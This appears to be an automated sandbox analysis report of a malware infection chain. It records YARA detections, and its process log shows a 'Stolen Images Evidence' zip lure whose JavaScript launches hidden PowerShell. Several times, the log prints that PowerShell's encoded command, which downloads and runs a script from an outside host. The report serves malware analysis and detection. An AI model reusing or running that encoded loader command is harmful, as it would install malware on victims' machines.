Source: 0000001E.00000002.427400397.00000000047E0000.00000004.00000040.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 0000001B.00000002.319442825.0000000000700000.00000004.00000020.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000021.00000003.338261142.00000000033B3000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000027.00000002.450935318.0000000003550000.00000004.00000040.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000025.00000003.354245634.000000000357E000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000025.00000003.352460387.0000000005817000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 0000001B.00000003.319055361.0000000004C07000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000025.00000002.356582841.000000000357E000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000025.00000003.352973681.0000000005833000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 0000001B.00000003.318789480.0000000000757000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000025.00000002.355988614.0000000003456000.00000004.00000020.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 0000001B.00000002.319559838.00000000009C7000.00000004.00000040.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000025.00000003.353313097.0000000003570000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 0000001B.00000002.320355712.00000000051F0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 0000001B.00000003.318831605.0000000000757000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 0000001E.00000002.425667445.0000000002D80000.00000004.00000020.sdmp, type: MEMORY	Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
Source: 00000025.00000003.354484638.0000000003A0C000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000027.00000002.450594067.0000000003140000.00000004.00000020.sdmp, type: MEMORY	Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
Source: 00000021.00000003.338978656.00000000058D8000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000021.00000002.341707289.00000000038C7000.00000004.00000040.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000021.00000003.338368985.000000000339A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 0000001B.00000003.318740020.0000000004BF3000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000021.00000003.338992712.00000000058D8000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000025.00000003.353973625.000000000584D000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000021.00000003.338616419.00000000058D0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000021.00000002.341431601.00000000033B3000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000021.00000003.338407978.00000000033B3000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000021.00000003.339131237.00000000033B3000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000021.00000002.341360203.000000000339A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 0000001B.00000003.318916447.0000000004C00000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000021.00000003.339069436.000000000339A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000021.00000003.338230537.000000000339A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000025.00000003.353699865.0000000005840000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000025.00000002.356502284.000000000356D000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000021.00000003.337942528.0000000005897000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: Process Memory Space: wscript.exe PID: 6820, type: MEMORYSTR	Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
Source: Process Memory Space: powershell.exe PID: 5648, type: MEMORYSTR	Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
Source: Process Memory Space: wscript.exe PID: 6888, type: MEMORYSTR	Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
Source: Process Memory Space: wscript.exe PID: 4840, type: MEMORYSTR	Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
Source: Process Memory Space: powershell.exe PID: 6268, type: MEMORYSTR	Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
Source: C:\Users\user\Documents\20211018\PowerShell_transcript.610930.3wwpsSEZ.20211018224633.txt, type: DROPPED	Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
Source: C:\Users\user\Documents\20211018\PowerShell_transcript.610930.OeKRHfkQ.20211018224629.txt, type: DROPPED	Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
Source: C:\Users\user\Documents\20211018\PowerShell_transcript.610930.D04HlV6H.20211018224618.txt, type: DROPPED	Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28

Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 7_2_02CC02A8	7_2_02CC02A8
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 7_2_02CC0299	7_2_02CC0299
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 14_2_052002A8	14_2_052002A8
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 14_2_05200299	14_2_05200299
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 22_2_02CF02A8	22_2_02CF02A8
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 22_2_02CF0299	22_2_02CF0299
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_02CDB200	30_2_02CDB200
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_02CDA0F0	30_2_02CDA0F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_02CDA100	30_2_02CDA100
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_02CDA100	30_2_02CDA100
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_02CD75E8	30_2_02CD75E8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_02CD35E8	30_2_02CD35E8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_02CD35F8	30_2_02CD35F8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_02CD8588	30_2_02CD8588
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 39_2_08034388	39_2_08034388
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 39_2_0803AD5A	39_2_0803AD5A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 39_2_0803AD60	39_2_0803AD60
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 39_2_08034378	39_2_08034378
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 39_2_08047E00	39_2_08047E00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 39_2_08047E00	39_2_08047E00

Source: C:\Windows\SysWOW64\unarchiver.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation 'https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721#'
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1556,11587432688044278777,2975671469201023268,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1940 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1556,11587432688044278777,2975671469201023268,131072 --lang=en-US --service-sandbox-type=none --enable-audio-service-sandbox --mojo-platform-channel-handle=5896 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe 'C:\Windows\SysWOW64\unarchiver.exe' 'C:\Users\user\Downloads\Stolen Images Evidence.zip'
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe 'C:\Windows\System32\7za.exe' x -pinfected -y -o'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd' 'C:\Users\user\Downloads\Stolen Images Evidence.zip'
Source: C:\Windows\SysWOW64\7za.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1556,11587432688044278777,2975671469201023268,131072 --lang=en-US --service-sandbox-type=none --enable-audio-service-sandbox --mojo-platform-channel-handle=4628 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe 'C:\Windows\SysWOW64\unarchiver.exe' 'C:\Users\user\Downloads\Stolen Images Evidence (1).zip'
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1556,11587432688044278777,2975671469201023268,131072 --lang=en-US --service-sandbox-type=none --enable-audio-service-sandbox --mojo-platform-channel-handle=3644 /prefetch:8
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe 'C:\Windows\System32\7za.exe' x -pinfected -y -o'C:\Users\user\AppData\Local\Temp\wx0c5czs.h3n' 'C:\Users\user\Downloads\Stolen Images Evidence (1).zip'
Source: C:\Windows\SysWOW64\7za.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe 'C:\Windows\SysWOW64\unarchiver.exe' 'C:\Users\user\Downloads\Stolen Images Evidence (2).zip'
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe 'C:\Windows\System32\7za.exe' x -pinfected -y -o'C:\Users\user\AppData\Local\Temp\s4fhf54g.u35' 'C:\Users\user\Downloads\Stolen Images Evidence (2).zip'
Source: C:\Windows\SysWOW64\7za.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'cmd.exe' /C 'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd\Stolen Images Evidence.js'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd\Stolen Images Evidence.js'
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'cmd.exe' /C 'C:\Users\user\AppData\Local\Temp\wx0c5czs.h3n\Stolen Images Evidence.js'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\wx0c5czs.h3n\Stolen Images Evidence.js'
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'cmd.exe' /C 'C:\Users\user\AppData\Local\Temp\s4fhf54g.u35\Stolen Images Evidence.js'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\s4fhf54g.u35\Stolen Images Evidence.js'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1556,11587432688044278777,2975671469201023268,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1940 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe 'C:\Windows\SysWOW64\unarchiver.exe' 'C:\Users\user\Downloads\Stolen Images Evidence (2).zip'	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1556,11587432688044278777,2975671469201023268,131072 --lang=en-US --service-sandbox-type=none --enable-audio-service-sandbox --mojo-platform-channel-handle=5896 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe 'C:\Windows\SysWOW64\unarchiver.exe' 'C:\Users\user\Downloads\Stolen Images Evidence.zip'	Jump to behavior
